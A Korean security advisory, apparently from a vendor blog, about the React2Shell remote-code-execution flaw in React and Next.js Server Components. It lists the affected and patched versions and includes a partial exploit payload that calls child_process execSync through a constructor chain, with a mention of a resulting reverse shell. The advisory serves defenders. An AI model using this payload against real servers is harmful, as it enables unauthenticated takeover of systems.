React2Shell 긴급 대응 권고

개요

React2Shell은 CVE-2025-55182 취약점을 가리키며, 2025년 11월 29일 Lachlan Davidson에 의해 보고된 보안 이슈입니다. 이 취약점은 React.js(CVE-2025-55182)와 Next.js(CVE-2025-66478)의 React Server Components(RSC) 기능에서 사용하는 Flight 프로토콜의 역직렬화 처리 과정에서 발생합니다. 공격자는 조작된 HTTP 페이로드를 전송하기만 해도 인증 없이 서버 측에서 임의의 코드를 원격으로 실행(RCE)할 수 있습니다. 해당 취약점은 Log4Shell에 비견될 정도로 심각하며, CVSS 점수 10.0을 받아 매우 위중한 보안 위협으로 평가되고 있습니다.

영향도

해당 취약점으로 인해 영향 받는 버전은 아래와 같으며, Wiz 데이터에 따르면 전체 클라우드 환경 39% 에서 취약한 인스턴스가 확인되고 있다라고 보고될 만큼 심각한 취약점으로 평가되고 있습니다.

  • React 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • react-server-dom-webpack
    • react-server-dom-parcel
    • react-server-dom-torbopack
  • Next.js 15.x(15.0.0 ~ 15.5.6), 16.x(16.0.0 ~ 16.0.6), Next.js 14.3.0.canaray.77 이상 버전
  • 취약한 React Server Components를 사용하는 도구
    • React Router
    • RedwoodJS
    • Vite RSC Plugin
    • Parcel RSC Plugin

공격 분석

Next.js 기본 실행 상태에서도 익스플로잇이 가능할 정도로 공격 복잡도가 낮습니다.

Next.js 기본 앱 상태

1. 취약점 확인

// ReactFlightDOMServerNode.js (또는 관련 파일의 유사한 로직)

function requireModule(moduleReference) {
  // ... 모듈 로딩 로직 (번들 맵 사용)

  // 이 부분에서 역직렬화된 데이터를 바탕으로 모듈의 export를 가져옴
  var moduleExports = require(moduleReference.id);

  // 역직렬화된 모듈 ID를 통해 가져온 export 값을 반환
  // 이 과정에서 'moduleExports' 객체의 프로퍼티가 오염될 수 있는 로직이 실행됨
  return moduleExports;
}

해당 취약점을 이용하는 악성 페이로드 전송

$ python react2shell.py

"_response": {
    "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
    "_formData": {
        "get": "$1:constructor:constructor",
    },
},

Next.js 웹 서버 실행

리버스 쉘(Reverse Shell) 연결 확보

Reverse Shell 연결 확보

이와 같이 해당 취약점은 손쉽게 원격 코드 실행 공격이 가능하므로 자동화된 대규모 공격으로 이어질 경우 막대한 피해가 발생할 수 있습니다. 따라서 취약한 React.js 또는 Next.js 버전을 사용 중이라면 즉시 최신 패치를 적용하는 것이 매우 중요합니다.

대응 방안

취약한 React.js, Next.js 버전을 사용하고 있는 사용자는 아래의 최신 패치 버전으로 업그레이드를 수행하고 최신 패치 버전이 제대로 반영되었는지 확인하시기 바랍니다.

취약점이 해결된 최신 패치 버전

  • React.js 19.0.1, 19.1.2, 19.2.1
  • Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0, 16.0.7

둘러보기

더보기

[위협 분석] 건강검진 안내 문서로 위장한 악성코드

2025년 10월 말, 건강검진 안내 문서로 위장한 JSE 파일이 조직적인 APT 공격에 활용되었으며, 분석 결과 북한 Kimsuky 조직에 의한 공격으로 판단됩니다. Kimsuky는 북한과 연계된 것으로 추정되는 APT(Advanced Persistent Threat) 그룹으로, 주로 정보 수집과 관련된 각종 스파이 활동을 수행합니다.

2025-11-06

[위협 분석] Shai-Hulud 웜 기반 소프트웨어 공급망 공격 분석

최근 소프트웨어 공급망 공격(Supply Chain Attack)의 위협이 높아지고 있는 가운데, Node.js NPM 생태계를 노린 Shai-Hulud 웜의 대규모 공격이 연이어 발생하고 있습니다. 2025년 9월 16일 처음 발견된 1차 공격은 개발자 시스템에서 API 키, 클라우드 서비스 키, NPM 토큰, GitHub 토큰과 같은 민감 정보를 탈취하고, 이를 활용해 다른 NPM 패키지에 자동으로 악성 코드를 삽입·배포하는 방식으로 이루어졌습니다. 이는 NPM 패키지 침해를 유발한 최초의 공급망 웜형 악성코드로 평가되고 있습니다. 2025년 11월 24일 발생한 2차 공격은 1차 공격과 유사한 방법론을 사용했으나, 그 규모가 훨씬 확대되어 1,000개 이상의 패키지에서 침해가 확인되고 있습니다. Wiz의 분석에 따르면 GitHub에서도 25,000개 이상의 저장소에서 민감 정보가 탈취된 것으로 보고되고 있습니다. 이번 사건은 Shai-Hulud와 같은 웜형 소프트웨어 공급망 공격이 향후에도 반복적으로 발생할 수 있고 고도화 될 수 있음을 보여주고 있습니다. 특히 오픈 소스를 적극 활용하는 기업들은 이러한 공급망 공격 전략을 면밀히 분석하고, 재발 방지를 위한 보안 대응 체계를 강화할 필요가 있습니다.

2025-11-26

[위협 분석] 법원 등기 수신 사칭 스캠

2025년 10월 현재, 법원등기 안내를 사칭한 사회공학 기반 스캠(Scam) 공격이 국내에서 빈번하게 관찰되고 있습니다. 이번 공격은 기존 이메일, 메신저, SNS 등 디지털 미디어를 통한 피싱 유포 방식이 아닌, 음성 통화 기반의 사용자 응답 유도형 공격(Social Engineering)이라는 점에서 특징적입니다.

2025-10-23